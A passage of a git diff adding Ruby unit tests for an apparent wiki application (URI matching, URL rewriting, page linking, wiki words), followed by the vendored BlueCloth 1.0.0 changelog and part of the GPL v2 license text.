'moinmoin.wikiwikiweb.de', :path => '/HelpOnNavigation', + :link_text => 'http://moinmoin.wikiwikiweb.de/HelpOnNavigation' + ) + match(URIChunk, 'moinmoin.wikiwikiweb.de/HelpOnNavigation', + :scheme => 'http', :host => 'moinmoin.wikiwikiweb.de', :path => '/HelpOnNavigation', + :link_text => 'moinmoin.wikiwikiweb.de/HelpOnNavigation' + ) + end + + def test_email_uri + match(URIChunk, 'mail@example.com', + :user => 'mail', :host => 'example.com', :link_text => 'mail@example.com' + ) + end + + def test_non_email + # The @ is part of the normal text, but 'example.com' is marked up. + match(URIChunk, 'Not an email: @example.com', :user => nil, :uri => 'http://example.com') + end + + def test_non_uri + assert_no_match(URIChunk.pattern, 'httpd.conf') + assert_no_match(URIChunk.pattern, 'libproxy.so') + end + + def test_uri_in_text + match(URIChunk, 'Go to: http://www.example.com/', :host => 'www.example.com', :path =>'/') + match(URIChunk, 'http://www.example.com/ is a link.', :host => 'www.example.com') + match(URIChunk, + 'Email david@loudthinking.com', + :scheme =>'mailto', :user =>'david', :host =>'loudthinking.com' + ) + end + + def test_uri_in_parentheses + match(URIChunk, 'URI (http://brackets.com.de) in brackets', :host => 'brackets.com.de') + match(URIChunk, 'because (as shown at research.net) the results', :host => 'research.net') + match(URIChunk, + 'A wiki (http://wiki.org/wiki.cgi?WhatIsWiki) page', + :scheme => 'http', :host => 'wiki.org', :path => '/wiki.cgi', :query => 'WhatIsWiki' + ) + end + + def test_uri_list_item + match( + URIChunk, + '* http://www.btinternet.com/~mail2minh/SonyEricssonP80xPlatform.sis', + :path => '/~mail2minh/SonyEricssonP80xPlatform.sis' + ) + end +end diff --git a/test/unit/url_rewriting_hack_test.rb b/test/unit/url_rewriting_hack_test.rb new file mode 100755 index 00000000..b54ced23 --- /dev/null +++ b/test/unit/url_rewriting_hack_test.rb @@ -0,0 +1,60 @@ +require File.dirname(__FILE__) + '/../test_helper' +require 'url_rewriting_hack' + +class UrlRewritingHackTest < Test::Unit::TestCase + + def test_parse_uri + assert_equal({:controller => 'wiki', :action => 'x', :web => nil}, + DispatchServlet.parse_uri('/x/')) + assert_equal({:web => 'x', :controller => 'wiki', :action => 'y'}, + DispatchServlet.parse_uri('/x/y')) + assert_equal({:web => 'x', :controller => 'wiki', :action => 'y'}, + DispatchServlet.parse_uri('/x/y/')) + assert_equal({:web => 'x', :controller => 'wiki', :action => 'y', :id => 'z'}, + DispatchServlet.parse_uri('/x/y/z')) + assert_equal({:web => 'x', :controller => 'wiki', :action => 'y', :id => 'z'}, + DispatchServlet.parse_uri('/x/y/z/')) + end + + def test_parse_uri_approot + assert_equal({:controller => 'wiki', :action => 'index', :web => nil}, + DispatchServlet.parse_uri('/wiki/')) + end + + def test_parse_uri_interestng_cases + + assert_equal({:web => '_veeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeery-long_web_', + :controller => 'wiki', + :action => 'an_action', :id => 'HomePage' + }, + DispatchServlet.parse_uri( + '/_veeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeery-long_web_/an_action/HomePage') + ) + + assert_equal false, DispatchServlet.parse_uri('') + assert_equal false, DispatchServlet.parse_uri('//') + assert_equal false, DispatchServlet.parse_uri('/web/show/$HOME_PAGE') + assert_equal false, DispatchServlet.parse_uri('/web/show/HomePage/something_else') + assert_equal false, DispatchServlet.parse_uri('web') + assert_equal false, DispatchServlet.parse_uri('/web/show/HomePage?arg1=value1&arg2=value2') + end + + def test_url_rewriting + request = ActionController::TestRequest.new + ur = ActionController::UrlRewriter.new(request, 'wiki', 'show') + + assert_equal 'http://test.host/myweb/myaction', + ur.rewrite(:web => 'myweb', :controller => 'wiki', :action => 'myaction') + + assert_equal 'http://test.host/myOtherWeb/', + ur.rewrite(:web => 'myOtherWeb', :controller => 'wiki') + + assert_equal 'http://test.host/myaction', + ur.rewrite(:controller => 'wiki', :action => 'myaction') + + assert_equal 'http://test.host/', + ur.rewrite(:controller => 'wiki') + end + + +end \ No newline at end of file diff --git a/test/unit/web_test.rb b/test/unit/web_test.rb new file mode 100755 index 00000000..e85b0076 --- /dev/null +++ b/test/unit/web_test.rb @@ -0,0 +1,104 @@ +#!/usr/bin/ruby + +require 'test/unit' +require 'wiki_service' + +class WebTest < Test::Unit::TestCase + def setup + @web = Web.new 'Instiki', 'instiki' + end + + def test_wiki_word_linking + @web.add_page(Page.new(@web, 'SecondPage', 'Yo, yo. Have you EverBeenHated', Time.now, + 'DavidHeinemeierHansson')) + + assert_equal('

      Yo, yo. Have you Ever Been Hated' + + '?

      ', + @web.pages["SecondPage"].display_content) + + @web.add_page(Page.new(@web, 'EverBeenHated', 'Yo, yo. Have you EverBeenHated', Time.now, + 'DavidHeinemeierHansson')) + assert_equal('

      Yo, yo. Have you Ever Been Hated

      ', + @web.pages['SecondPage'].display_content) + end + + def test_pages_by_revision + add_sample_pages + assert_equal 'EverBeenHated', @web.select.by_revision.first.name + end + + def test_pages_by_match + add_sample_pages + assert_equal 2, @web.select { |page| page.content =~ /me/i }.length + assert_equal 1, @web.select { |page| page.content =~ /Who/i }.length + assert_equal 0, @web.select { |page| page.content =~ /none/i }.length + end + + def test_references + add_sample_pages + assert_equal 1, @web.select.pages_that_reference('EverBeenHated').length + assert_equal 0, @web.select.pages_that_reference('EverBeenInLove').length + end + + def test_delete + add_sample_pages + assert_equal 2, @web.pages.length + @web.remove_pages([ @web.pages['EverBeenInLove'] ]) + assert_equal 1, @web.pages.length + end + + def test_make_link + add_sample_pages + + existing_page_wiki_url = + 'Ever Been In Love' + existing_page_published_url = + 'Ever Been In Love' + existing_page_static_url = + 'Ever Been In Love' + new_page_wiki_url = + 'Unknown Word?' + new_page_published_url = + new_page_static_url = + 'Unknown Word' + + # no options + assert_equal existing_page_wiki_url, @web.make_link('EverBeenInLove') + + # :mode => :export + assert_equal existing_page_static_url, @web.make_link('EverBeenInLove', nil, :mode => :export) + + # :mode => :publish + assert_equal existing_page_published_url, + @web.make_link('EverBeenInLove', nil, :mode => :publish) + + # new page, no options + assert_equal new_page_wiki_url, @web.make_link('UnknownWord') + + # new page, :mode => :export + assert_equal new_page_static_url, @web.make_link('UnknownWord', nil, :mode => :export) + + # new page, :mode => :publish + assert_equal new_page_published_url, @web.make_link('UnknownWord', nil, :mode => :publish) + + # Escaping special characters in the name + assert_equal( + 'Smith & Wesson?', + @web.make_link('Smith & Wesson')) + + # optionally using text as the link text + assert_equal( + existing_page_published_url.sub(/>Ever Been In LoveHaven't you ever been in love?<"), + @web.make_link('EverBeenInLove', "Haven't you ever been in love?", :mode => :publish)) + + end + + private + def add_sample_pages + @web.add_page(Page.new(@web, 'EverBeenInLove', 'Who am I me', + Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson')) + @web.add_page(Page.new(@web, 'EverBeenHated', 'I am me EverBeenHated', + Time.local(2004, 4, 4, 16, 51), 'DavidHeinemeierHansson')) + end +end \ No newline at end of file diff --git a/test/unit/wiki_service_test.rb b/test/unit/wiki_service_test.rb new file mode 100755 index 00000000..43bea85b --- /dev/null +++ b/test/unit/wiki_service_test.rb @@ -0,0 +1,15 @@ +require 'test/unit' +require 'wiki_service' + +class WikiServiceTest < Test::Unit::TestCase + def setup + @s = WikiServiceWithNoPersistence.new + @s.create_web 'Instiki', 'instiki' + end + + def test_read_write_page + @s.write_page 'instiki', 'FirstPage', "Electric shocks, I love 'em", + Time.now, 'DavidHeinemeierHansson' + assert_equal "Electric shocks, I love 'em", @s.read_page('instiki', 'FirstPage').content + end +end diff --git a/test/unit/wiki_words_test.rb b/test/unit/wiki_words_test.rb new file mode 100755 index 00000000..e3755128 --- /dev/null +++ b/test/unit/wiki_words_test.rb @@ -0,0 +1,12 @@ +require "test/unit" +require "wiki_words" + +class WikiWordsTest < Test::Unit::TestCase + + def test_utf8_characters_in_wiki_word + assert_equal "Æåle Øen", WikiWords.separate("ÆåleØen") + assert_equal "ÆÅØle Øen", WikiWords.separate("ÆÅØleØen") + assert_equal "Æe ÅØle Øen", WikiWords.separate("ÆeÅØleØen") + assert_equal "Legetøj", WikiWords.separate("Legetøj") + end +end diff --git a/vendor/bluecloth-1.0.0/CHANGES b/vendor/bluecloth-1.0.0/CHANGES new file mode 100755 index 00000000..4b4050aa --- /dev/null +++ b/vendor/bluecloth-1.0.0/CHANGES @@ -0,0 +1,366 @@ +------------------------------------------------------------------------ +r69 | ged | 2004-08-24 22:27:15 -0700 (Tue, 24 Aug 2004) | 2 lines + +- Fixed bug introduced by the last bugfix, fixed tests that missed the new bug. + +------------------------------------------------------------------------ +r68 | ged | 2004-08-24 22:14:37 -0700 (Tue, 24 Aug 2004) | 3 lines + +- Tracked down and fixed another regexp engine overflow bug; added a new test, + datafile, and minimal testcase that illustrates it. + +------------------------------------------------------------------------ +r66 | ged | 2004-08-24 07:57:17 -0700 (Tue, 24 Aug 2004) | 1 line + +- Updated to v1.0.0. +------------------------------------------------------------------------ +r65 | ged | 2004-08-24 07:56:47 -0700 (Tue, 24 Aug 2004) | 1 line + +- Updated to v1.0.0. +------------------------------------------------------------------------ +r64 | ged | 2004-08-24 07:53:32 -0700 (Tue, 24 Aug 2004) | 1 line + +- Updated to 20040824. +------------------------------------------------------------------------ +r63 | ged | 2004-08-24 07:52:05 -0700 (Tue, 24 Aug 2004) | 3 lines + +- Added CHANGES.xml to ignore property for root directory. + + +------------------------------------------------------------------------ +r62 | ged | 2004-08-24 07:48:44 -0700 (Tue, 24 Aug 2004) | 7 lines + +- Brought list of block-level tags up to date with Markdown 1.0's list +- Propagated fix for overflow to the other two block-match patterns. +- Abstracted list-item patterns out into constants to closer match Markdown's + code and to expose them for use in other code. +- Fixed indentation of
       blocks inside blockquotes.
      +- Added new tests for all of the above.
      +
      +------------------------------------------------------------------------
      +r61 | ged | 2004-08-22 12:28:23 -0700 (Sun, 22 Aug 2004) | 5 lines
      +
      +- Fixed re-engine overflow for all tested cases (thanks to Martin Chase
      +   for the fix).
      +- Wrote some additional tests to be sure the block-level html escaper is working
      +  after the above fix.
      +
      +------------------------------------------------------------------------
      +r60 | ged | 2004-08-22 12:26:25 -0700 (Sun, 22 Aug 2004) | 2 lines
      +
      +- Removed skip of overflow test.
      +
      +------------------------------------------------------------------------
      +r59 | ged | 2004-08-22 12:24:35 -0700 (Sun, 22 Aug 2004) | 2 lines
      +
      +- "Fixed" the test case so it overflows again.
      +
      +------------------------------------------------------------------------
      +r58 | deveiant | 2004-08-08 22:12:02 -0700 (Sun, 08 Aug 2004) | 2 lines
      +
      +- Updated to 20040808.
      +
      +------------------------------------------------------------------------
      +r57 | deveiant | 2004-08-08 18:16:14 -0700 (Sun, 08 Aug 2004) | 2 lines
      +
      +- Modified to work from wherever the test is run (RPA compat).
      +
      +------------------------------------------------------------------------
      +r56 | deveiant | 2004-08-08 18:15:57 -0700 (Sun, 08 Aug 2004) | 2 lines
      +
      +- Modified to work from wherever the test is run (RPA compat).
      +
      +------------------------------------------------------------------------
      +r55 | deveiant | 2004-08-08 18:15:27 -0700 (Sun, 08 Aug 2004) | 2 lines
      +
      +- Updated version attribute.
      +
      +------------------------------------------------------------------------
      +r54 | deveiant | 2004-08-08 18:14:58 -0700 (Sun, 08 Aug 2004) | 2 lines
      +
      +- Brought markdown syntax up to date with Markdown 1.0fc1.
      +
      +------------------------------------------------------------------------
      +r53 | deveiant | 2004-08-08 18:13:16 -0700 (Sun, 08 Aug 2004) | 2 lines
      +
      +- Made the require-header work wherever the test is run from (RPA compat).
      +
      +------------------------------------------------------------------------
      +r51 | deveiant | 2004-06-21 08:20:59 -0700 (Mon, 21 Jun 2004) | 4 lines
      +
      +- Brought up to date with Markdown 1.0b7.
      +
      +- Ignore list properties on the base and docs directories updated.
      +
      +------------------------------------------------------------------------
      +r50 | deveiant | 2004-06-02 06:37:15 -0700 (Wed, 02 Jun 2004) | 1 line
      +
      +- Commented out non-functional --output option for now.
      +------------------------------------------------------------------------
      +r49 | deveiant | 2004-06-01 20:30:18 -0700 (Tue, 01 Jun 2004) | 2 lines
      +
      +Initial checkin.
      +
      +------------------------------------------------------------------------
      +r48 | deveiant | 2004-06-01 20:29:31 -0700 (Tue, 01 Jun 2004) | 2 lines
      +
      +- Added test for bug #574.
      +
      +------------------------------------------------------------------------
      +r47 | deveiant | 2004-06-01 20:21:04 -0700 (Tue, 01 Jun 2004) | 8 lines
      +
      +- Test for bug #620 - Unresolved reference-style links doubled the character
      +  immediately after them.
      +
      +- Added additional test email addresses, including ones that use extended latin
      +  charset.
      +
      +- Added bug reference to a test.
      +
      +------------------------------------------------------------------------
      +r46 | deveiant | 2004-06-01 20:19:41 -0700 (Tue, 01 Jun 2004) | 4 lines
      +
      +- Fix for bug #620 - Unresolved reference-style links doubled the character
      +  immediately after them.
      +
      +
      +------------------------------------------------------------------------
      +r45 | deveiant | 2004-05-13 19:43:17 -0700 (Thu, 13 May 2004) | 4 lines
      +
      +- Added tests for bug #568 (Two sets of bold text on one line doesn't render
      +  properly). Tests confirmed that two sets of bold text did work, but single
      +  characters being bolded does not.
      +
      +------------------------------------------------------------------------
      +r44 | deveiant | 2004-05-13 19:41:52 -0700 (Thu, 13 May 2004) | 2 lines
      +
      +- Fixed bug with bolding of single characters (bug #568).
      +
      +------------------------------------------------------------------------
      +r43 | deveiant | 2004-05-04 07:35:11 -0700 (Tue, 04 May 2004) | 2 lines
      +
      +- Additional fixes and tests for bug #537.
      +
      +------------------------------------------------------------------------
      +r41 | deveiant | 2004-04-29 20:40:38 -0700 (Thu, 29 Apr 2004) | 2 lines
      +
      +- Added bin/ directory.
      +
      +------------------------------------------------------------------------
      +r40 | deveiant | 2004-04-29 20:40:04 -0700 (Thu, 29 Apr 2004) | 2 lines
      +
      +- Set date.
      +
      +------------------------------------------------------------------------
      +r39 | deveiant | 2004-04-29 20:39:24 -0700 (Thu, 29 Apr 2004) | 3 lines
      +
      +- Added test for Bug #543 (Safe mode does not work when there are no left
      +  angle-brackets in the source).
      +
      +------------------------------------------------------------------------
      +r38 | deveiant | 2004-04-29 20:38:42 -0700 (Thu, 29 Apr 2004) | 5 lines
      +
      +- Added test for email address encoding (Bug #537).
      +
      +- Added test for bug #541 (Leading line of codeblock with more than one tab
      +  width of indent mistakenly unindented).
      +
      +------------------------------------------------------------------------
      +r37 | deveiant | 2004-04-29 20:35:26 -0700 (Thu, 29 Apr 2004) | 5 lines
      +
      +- Fix for bug #543 (Safe mode does not work when there are no left
      +  angle-brackets in the source).
      +
      +
      +
      +------------------------------------------------------------------------
      +r36 | deveiant | 2004-04-29 20:33:01 -0700 (Thu, 29 Apr 2004) | 5 lines
      +
      +- Fix for bug #541 (Leading line of codeblock with more than one tab
      +  width of indent mistakenly unindented)
      +
      +
      +
      +------------------------------------------------------------------------
      +r35 | deveiant | 2004-04-29 20:31:37 -0700 (Thu, 29 Apr 2004) | 3 lines
      +
      +- Fix for bug #537. Fix suggested by Marek Janukowicz.
      +
      +
      +------------------------------------------------------------------------
      +r32 | deveiant | 2004-04-22 21:47:42 -0700 (Thu, 22 Apr 2004) | 2 lines
      +
      +- Temporary fixes until I have time to integrate SVN stuff.
      +
      +------------------------------------------------------------------------
      +r31 | deveiant | 2004-04-22 21:46:51 -0700 (Thu, 22 Apr 2004) | 2 lines
      +
      +- Version bump.
      +
      +------------------------------------------------------------------------
      +r30 | deveiant | 2004-04-22 21:46:15 -0700 (Thu, 22 Apr 2004) | 2 lines
      +
      +- Brought in line with most-recent release.
      +
      +------------------------------------------------------------------------
      +r29 | deveiant | 2004-04-22 21:40:50 -0700 (Thu, 22 Apr 2004) | 2 lines
      +
      +- Version bump.
      +
      +------------------------------------------------------------------------
      +r28 | deveiant | 2004-04-22 21:39:05 -0700 (Thu, 22 Apr 2004) | 4 lines
      +
      +- Bugfixes for bugs 524 and 525. Thanks to David Heinemeier Hansson and Javier
      +  Goizueta for bug reports and fixes.
      +
      +
      +------------------------------------------------------------------------
      +r27 | deveiant | 2004-04-22 21:34:31 -0700 (Thu, 22 Apr 2004) | 2 lines
      +
      +- Test for bugs 524 and 525
      +
      +------------------------------------------------------------------------
      +r25 | deveiant | 2004-04-15 18:55:19 -0700 (Thu, 15 Apr 2004) | 1 line
      +
      +- Corrected version
      +------------------------------------------------------------------------
      +r24 | deveiant | 2004-04-15 18:53:52 -0700 (Thu, 15 Apr 2004) | 2 lines
      +
      +- Brought Version up to date.
      +
      +------------------------------------------------------------------------
      +r23 | deveiant | 2004-04-15 18:52:17 -0700 (Thu, 15 Apr 2004) | 1 line
      +
      +- Updated ignore metadata.
      +------------------------------------------------------------------------
      +r22 | deveiant | 2004-04-15 18:51:14 -0700 (Thu, 15 Apr 2004) | 2 lines
      +
      +Initial checkin.
      +
      +------------------------------------------------------------------------
      +r21 | deveiant | 2004-04-15 18:50:31 -0700 (Thu, 15 Apr 2004) | 6 lines
      +
      +- Changed tests/ pattern to catch all tests.
      +
      +- Added CHANGES.
      +
      +- Dropped MANIFEST.
      +
      +------------------------------------------------------------------------
      +r20 | deveiant | 2004-04-15 18:49:46 -0700 (Thu, 15 Apr 2004) | 2 lines
      +
      +- Added missing dependency check for devel-logger.
      +
      +------------------------------------------------------------------------
      +r19 | deveiant | 2004-04-15 18:49:12 -0700 (Thu, 15 Apr 2004) | 8 lines
      +
      +- Added contributors section to the header.
      +
      +- Integrated html- and style-filtering patch from Florian Gross .
      +
      +- Corrections to RedCloth-compatibility.
      +
      +- Removed log from renderstate, as it's an attribute of the string itself.
      +
      +------------------------------------------------------------------------
      +r18 | deveiant | 2004-04-15 18:48:27 -0700 (Thu, 15 Apr 2004) | 8 lines
      +
      +- Added contributors section to the header.
      +
      +- Integrated html- and style-filtering patch from Florian Gross .
      +
      +- Corrections to RedCloth-compatibility.
      +
      +- Removed log from renderstate, as it's an attribute of the string itself.
      +
      +------------------------------------------------------------------------
      +r15 | deveiant | 2004-04-11 23:02:54 -0700 (Sun, 11 Apr 2004) | 3 lines
      +
      +- Added keywords.
      +
      +
      +------------------------------------------------------------------------
      +r14 | deveiant | 2004-04-11 23:01:40 -0700 (Sun, 11 Apr 2004) | 2 lines
      +
      +- Updated comments/added to-do marker.
      +
      +------------------------------------------------------------------------
      +r13 | deveiant | 2004-04-11 22:47:16 -0700 (Sun, 11 Apr 2004) | 3 lines
      +
      +- Updated ignore list.
      +
      +
      +------------------------------------------------------------------------
      +r12 | deveiant | 2004-04-11 22:46:49 -0700 (Sun, 11 Apr 2004) | 3 lines
      +
      +Initial checkin.
      +
      +
      +------------------------------------------------------------------------
      +r11 | deveiant | 2004-04-11 22:45:07 -0700 (Sun, 11 Apr 2004) | 3 lines
      +
      +- Added a time() function for timing bits of code.
      +
      +
      +------------------------------------------------------------------------
      +r10 | deveiant | 2004-04-11 22:43:10 -0700 (Sun, 11 Apr 2004) | 3 lines
      +
      +- Changed keyword constants from CVS to SVN keywords.
      +
      +
      +------------------------------------------------------------------------
      +r9 | deveiant | 2004-04-11 22:29:37 -0700 (Sun, 11 Apr 2004) | 3 lines
      +
      +- Changed location of keyword stuff, added URL keyword.
      +
      +
      +------------------------------------------------------------------------
      +r8 | deveiant | 2004-04-11 22:26:38 -0700 (Sun, 11 Apr 2004) | 3 lines
      +
      +- Added the rest of the content.
      +
      +
      +------------------------------------------------------------------------
      +r7 | deveiant | 2004-04-11 22:21:47 -0700 (Sun, 11 Apr 2004) | 12 lines
      +
      +- Fixed license in header
      +
      +- Fixed error message in exception class with no second argument.
      +
      +- Removed unnecessary (and slllooowww) 'm' flag from HTML block matching
      +  patterns.
      +
      +- Fixed code-span scanning to match spans that occur at the beginning of the
      +  line.
      +
      +- Fixed error in code-span exception case.
      +
      +------------------------------------------------------------------------
      +r6 | deveiant | 2004-04-11 22:17:45 -0700 (Sun, 11 Apr 2004) | 3 lines
      +
      +- Renamed to reflect repurposing.
      +
      +
      +------------------------------------------------------------------------
      +r5 | deveiant | 2004-04-11 22:17:08 -0700 (Sun, 11 Apr 2004) | 2 lines
      +
      +- Converted to bug-testing testcase.
      +
      +------------------------------------------------------------------------
      +r4 | deveiant | 2004-04-11 22:15:34 -0700 (Sun, 11 Apr 2004) | 2 lines
      +
      +- Added some mode code span tests to catch bugs.
      +
      +------------------------------------------------------------------------
      +r3 | deveiant | 2004-04-10 21:40:29 -0700 (Sat, 10 Apr 2004) | 2 lines
      +
      +- Updated dist/install utilities/libs.
      +
      +------------------------------------------------------------------------
      +r2 | deveiant | 2004-04-10 13:36:46 -0700 (Sat, 10 Apr 2004) | 1 line
      +
      +Removed markdown reference source
      +------------------------------------------------------------------------
      +r1 | deveiant | 2004-04-10 13:35:02 -0700 (Sat, 10 Apr 2004) | 1 line
      +
      +Initial checkin
      diff --git a/vendor/bluecloth-1.0.0/LICENSE b/vendor/bluecloth-1.0.0/LICENSE
      new file mode 100755
      index 00000000..04137b9b
      --- /dev/null
      +++ b/vendor/bluecloth-1.0.0/LICENSE
      @@ -0,0 +1,340 @@
      +		    GNU GENERAL PUBLIC LICENSE
      +		       Version 2, June 1991
      +
      + Copyright (C) 1989, 1991 Free Software Foundation, Inc.
      +                       59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
      + Everyone is permitted to copy and distribute verbatim copies
      + of this license document, but changing it is not allowed.
      +
      +			    Preamble
      +
      +  The licenses for most software are designed to take away your
      +freedom to share and change it.  By contrast, the GNU General Public
      +License is intended to guarantee your freedom to share and change free
      +software--to make sure the software is free for all its users.  This
      +General Public License applies to most of the Free Software
      +Foundation's software and to any other program whose authors commit to
      +using it.  (Some other Free Software Foundation software is covered by
      +the GNU Library General Public License instead.)  You can apply it to
      +your programs, too.
      +
      +  When we speak of free software, we are referring to freedom, not
      +price.  Our General Public Licenses are designed to make sure that you
      +have the freedom to distribute copies of free software (and charge for
      +this service if you wish), that you receive source code or can get it
      +if you want it, that you can change the software or use pieces of it
      +in new free programs; and that you know you can do these things.
      +
      +  To protect your rights, we need to make restrictions that forbid
      +anyone to deny you these rights or to ask you to surrender the rights.
      +These restrictions translate to certain responsibilities for you if you
      +distribute copies of the software, or if you modify it.
      +
      +  For example, if you distribute copies of such a program, whether
      +gratis or for a fee, you must give the recipients all the rights that
      +you have.  You must make sure that they, too, receive or can get the
      +source code.  And you must show them these terms so they know their
      +rights.
      +
      +  We protect your rights with two steps: (1) copyright the software, and
      +(2) offer you this license which gives you legal permission to copy,
      +distribute and/or modify the software.
      +
      +  Also, for each author's protection and ours, we want to make certain
      +that everyone understands that there is no warranty for this free
      +software.  If the software is modified by someone else and passed on, we
      +want its recipients to know that what they have is not the original, so
      +that any problems introduced by others will not reflect on the original
      +authors' reputations.
      +
      +  Finally, any free program is threatened constantly by software
      +patents.  We wish to avoid the danger that redistributors of a free
      +program will individually obtain patent licenses, in effect making the
      +program proprietary.  To prevent this, we have made it clear that any
      +patent must be licensed for everyone's free use or not licensed at all.
      +
      +  The precise terms and conditions for copying, distribution and
      +modification follow.
      +
      +		    GNU GENERAL PUBLIC LICENSE
      +   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
      +
      +  0. This License applies to any program or other work which contains
      +a notice placed by the copyright holder saying it may be distributed
      +under the terms of this General Public License.  The "Program", below,
      +refers to any such program or work, and a "work based on the Program"
      +means either the Program or any derivative work under copyright law:
      +that is to say, a work containing the Program or a portion of it,
      +either verbatim or with modifications and/or translated into another
      +language.  (Hereinafter, translation is included without limitation in
      +the term "modification".)  Each licensee is addressed as "you".
      +
      +Activities other than copying, distribution and modification are not
      +covered by this License; they are outside its scope.  The act of
      +running the Program is not restricted, and the output from the Program
      +is covered only if its contents constitute a work based on the
      +Program (independent of having been made by running the Program).
      +Whether that is true depends on what the Program does.
      +
      +  1. You may copy and distribute verbatim copies of the Program's
      +source code as you receive it, in any medium, provided that you
      +conspicuously and appropriately publish on each copy an appropriate
      +copyright notice and disclaimer of warranty; keep intact all the
      +notices that refer to this License and to the absence of any warranty;
      +and give any other recipients of the Program a copy of this License
      +along with the Program.
      +
      +You may charge a fee for the physical act of transferring a copy, and
      +you may at your option offer warranty protection in exchange for a fee.
      +
      +  2. You may modify your copy or copies of the Program or any portion
      +of it, thus forming a work based on the Program, and copy and
      +distribute such modifications or work under the terms of Section 1
      +above, provided that you also meet all of these conditions:
      +
      +    a) You must cause the modified files to carry prominent notices
      +    stating that you changed the files and the date of any change.
      +
      +    b) You must cause any work that you distribute or publish, that in
      +    whole or in part contains or is derived from the Program or any
      +    part thereof, to be licensed as a whole at no charge to all third
      +    parties under the terms of this License.
      +
      +    c) If the modified program normally reads commands interactively
      +    when run, you must cause it, when started running for such
      +    interactive use in the most ordinary way, to print or display an
      +    announcement including an appropriate copyright notice and a
      +    notice that there is no warranty (or else, saying that you provide
      +    a warranty) and that users may redistribute the program under
      +    these conditions, and telling the user how to view a copy of this
      +    License.  (Exception: if the Program itself is interactive but
      +    does not normally print such an announcement, your work based on
      +    the Program is not required to print an announcement.)
      +
      +These requirements apply to the modified work as a whole.  If
      +identifiable sections of that work are not derived from the Program,
      +and can be reasonably considered independent and separate works in
      +themselves, then this License, and its terms, do not apply to those
      +sections when you distribute them as separate works.  But when you
      +distribute the same sections as part of a whole which is a work based
      +on the Program, the distribution of the whole must be on the terms of
      +this License, whose permissions for other licensees extend to the
      +entire whole, and thus to each and every part regardless of who wrote it.
      +
      +Thus, it is not the intent of this section to claim rights or contest
      +your rights to work written entirely by you; rather, the intent is to
      +exercise the right to control the distribution of derivative or
      +collective works based on the Program.
      +
      +In addition, mere aggregation of another work not based on the Program
      +with the Program (or with a work based on the Program) on a volume of
      +a storage or distribution medium does not bring the other work under
      +the scope of this License.
      +
      +  3. You may copy and distribute the Program (or a work based on it,
      +under Section 2) in object code or executable form under the terms of
      +Sections 1 and 2 above provided that you also do one of the following:
      +
      +    a) Accompany it with the complete corresponding machine-readable
      +    source code, which must be distributed under the terms of Sections
      +    1 and 2 above on a medium customarily used for software interchange; or,
      +
      +    b) Accompany it with a written offer, valid for at least three
      +    years, to give any third party, for a charge no more than your
      +    cost of physically performing source distribution, a complete
      +    machine-readable copy of the corresponding source code, to be
      +    distributed under the terms of Sections 1 and 2 above on a medium
      +    customarily used for software interchange; or,
      +
      +    c) Accompany it with the information you received as to the offer
      +    to distribute corresponding source code.  (This alternative is
      +    allowed only for noncommercial distribution and only if you
      +    received the program in object code or executable form with such
      +    an offer, in accord with Subsection b above.)
      +
      +The source code for a work means the preferred form of the work for
      +making modifications to it.  For an executable work, complete source
      +code means all the source code for all modules it contains, plus any
      +associated interface definition files, plus the scripts used to
      +control compilation and installation of the executable.  However, as a
      +special exception, the source code distributed need not include
      +anything that is normally distributed (in either source or binary
      +form) with the major components (compiler, kernel, and so on) of the
      +operating system on which the executable runs, unless that component
      +itself accompanies the executable.
      +
      +If distribution of executable or object code is made by offering
      +access to copy from a designated place, then offering equivalent
      +access to copy the source code from the same place counts as
      +distribution of the source code, even though third parties are not
      +compelled to copy the source along with the object code.
      +
      +  4. You may not copy, modify, sublicense, or distribute the Program
      +except as expressly provided under this License.  Any attempt
      +otherwise to copy, modify, sublicense or distribute the Program is
      +void, and will automatically terminate your rights under this License.
      +However, parties who have received copies, or rights, from you under
      +this License will not have their licenses terminated so long as such
      +parties remain in full compliance.
      +
      +  5. You are not required to accept this License, since you have not
      +signed it.  However, nothing else grants you permission to modify or
      +distribute the Program or its derivative works.  These actions are
      +prohibited by law if you do not accept this License.  Therefore, by
      +modifying or distributing the Program (or any work based on the
      +Program), you indicate your acceptance of this License to do so, and
      +all its terms and conditions for copying, distributing or modifying
      +the Program or works based on it.
      +
      +  6. Each time you redistribute the Program (or any work based on the
      +Program), the recipient automatically receives a license from the
      +original licensor to copy, distribute or modify the Program subject to
      +these terms and conditions.  You may not impose any further
      +restrictions on the recipients' exercise of the rights granted herein.
      +You are not responsible for enforcing compliance by third parties to
      +this License.
      +
      +  7. If, as a consequence of a court judgment or allegation of patent
      +infringement or for any other reason (not limited to patent issues),
      +conditions are imposed on you (whether by court order, agreement or
      +otherwise) that contradict the conditions of this License, they do not
      +excuse you from the conditions of this License.  If you cannot
      +distribute so as to satisfy simultaneously your obligations under this
      +License and any other pertinent obligations, then as a consequence you
      +may not distribute the Program at all.  For example, if a patent
      +license would not permit royalty-free redistribution of the Program by
      +all those who receive copies directly or indirectly through you, then
      +the only way you could satisfy both it and this License would be to
      +refrain entirely from distribution of the Program.
      +
      +If any portion of this section is held invalid or unenforceable under
      +any particular circumstance, the balance of the section is intended to
      +apply and the section as a whole is intended to apply in other
      +circumstances.
      +
      +It is not the purpose of this section to induce you to infringe any
      +patents or other property right claims or to contest validity of any
      +such claims; this section has the sole purpose of protecting the
      +integrity of the free software distribution system, which is
      +implemented by public license practices.  Many people have made
      +generous contributions to the wide range of software distributed
      +through that system in reliance on consistent application of that
      +system; it is up to the author/donor to decide if he or she is willing
      +to distribute software through any other system and a licensee cannot
      +impose that choice.
      +
      +This section is intended to make thoroughly clear what is believed to
      +be a consequence of the rest of this License.
      +
      +  8. If the distribution and/or use of the Program is restricted in
      +certain countries either by patents or by copyrighted interfaces, the
      +original copyright holder who places the Program under this License
      +may add an explicit geographical distribution limitation excluding
      +those countries, so that distribution is permitted only in or among
      +countries not thus excluded.  In such case, this License incorporates
      +the limitation as if written in the body of this License.
      +
      +  9. The Free Software Foundation may publish revised and/or new versions
      +of the General Public License from time to time.  Such new versions will
      +be similar in spirit to the present version, but may differ in detail to
      +address new problems or concerns.
      +
      +Each version is given a distinguishing version number.  If the Program
      +specifies a version number of this License which applies to it and "any
      +later version", you have the option of following the terms and conditions
      +either of that version or of any later version published by the Free
      +Software Foundation.  If the Program does not specify a version number of
      +this License, you may choose any version ever published by the Free Software
      +Foundation.
      +
